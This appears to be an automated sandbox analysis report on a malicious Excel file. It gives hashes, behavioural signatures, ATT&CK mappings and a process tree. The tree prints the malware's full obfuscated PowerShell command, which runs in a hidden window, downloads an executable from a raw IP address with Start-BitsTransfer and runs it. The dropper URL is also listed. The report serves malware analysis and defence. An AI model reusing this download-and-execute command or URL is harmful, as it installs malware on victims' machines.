Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    15-04-2024 17:46

General

  • Target

    f1a0dc40b455647ef7fa4e9b9c009469_JaffaCakes118.xls

  • Size

    168KB

  • MD5

    f1a0dc40b455647ef7fa4e9b9c009469

  • SHA1

    42621f4cd2ad7f0de4140ac63845b8826e6e978c

  • SHA256

    122fd6ba7eaff6999bceced392b909939a14c82ef7a562d630772eaf33a6fbe9

  • SHA512

    70c162ba06a64878b1c9c683d334ad0a2c00f3de02155ce110395914cbc346e7158b425f61baf0d38f33ae221c5abb592af84c2927988ee092f17ca407b24a15

  • SSDEEP

    3072:5k3hOdsylKlgryzc4bNhZFGzE+cL2knAQKKWXQ3kl/GVMfliRx4J2iSAqsaHHIaQ:5k3hOdsylKlgryzc4bNhZF+E+W2knAQV

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://3.64.251.139/v11/1/TDH_71036210065IMG.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\f1a0dc40b455647ef7fa4e9b9c009469_JaffaCakes118.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2484
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Public\Documents\frontserve.cmd" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2768
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://3.64.251.139/v11/1/TDH_71036210065IMG.e`xe -Destination C:\Users\Public\Documents\minutesister.e`xe;C:\Users\Public\Documents\minutesister.e`xe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2440

Network

MITRE ATT&CK Matrix ATT&CK v13

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Public\Documents\frontserve.cmd
    Filesize

    214B

    MD5

    a23edc137db35751f190e5f396f182ff

    SHA1

    ce2ed69a3d03d6d351227c0a24a8a0a2b27af8df

    SHA256

    e88aa47b0ad9a5ea3aa480cf3fa6a8bfa6754a716bcaae809d1327d20384418f

    SHA512

    4390c554824125ecad23e728765a942e9f74d3cf71832c8395609859e3cb715d69b2128bdfba93cd473909401943a1e1070c63e62206cfcbe83e41051cea2c11

  • memory/2440-24-0x00000000024D0000-0x0000000002510000-memory.dmp
    Filesize

    256KB

  • memory/2440-22-0x000000006B610000-0x000000006BBBB000-memory.dmp
    Filesize

    5.7MB

  • memory/2440-26-0x000000006B610000-0x000000006BBBB000-memory.dmp
    Filesize

    5.7MB

  • memory/2440-25-0x00000000024D0000-0x0000000002510000-memory.dmp
    Filesize

    256KB

  • memory/2440-23-0x000000006B610000-0x000000006BBBB000-memory.dmp
    Filesize

    5.7MB

  • memory/2484-1-0x0000000071DFD000-0x0000000071E08000-memory.dmp
    Filesize

    44KB

  • memory/2484-2-0x0000000000660000-0x0000000000760000-memory.dmp
    Filesize

    1024KB

  • memory/2484-4-0x0000000000660000-0x0000000000760000-memory.dmp
    Filesize

    1024KB

  • memory/2484-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/2484-3-0x0000000000660000-0x0000000000760000-memory.dmp
    Filesize

    1024KB

  • memory/2484-27-0x0000000071DFD000-0x0000000071E08000-memory.dmp
    Filesize

    44KB

  • memory/2484-28-0x0000000000660000-0x0000000000760000-memory.dmp
    Filesize

    1024KB

  • memory/2484-29-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/2484-30-0x0000000071DFD000-0x0000000071E08000-memory.dmp
    Filesize

    44KB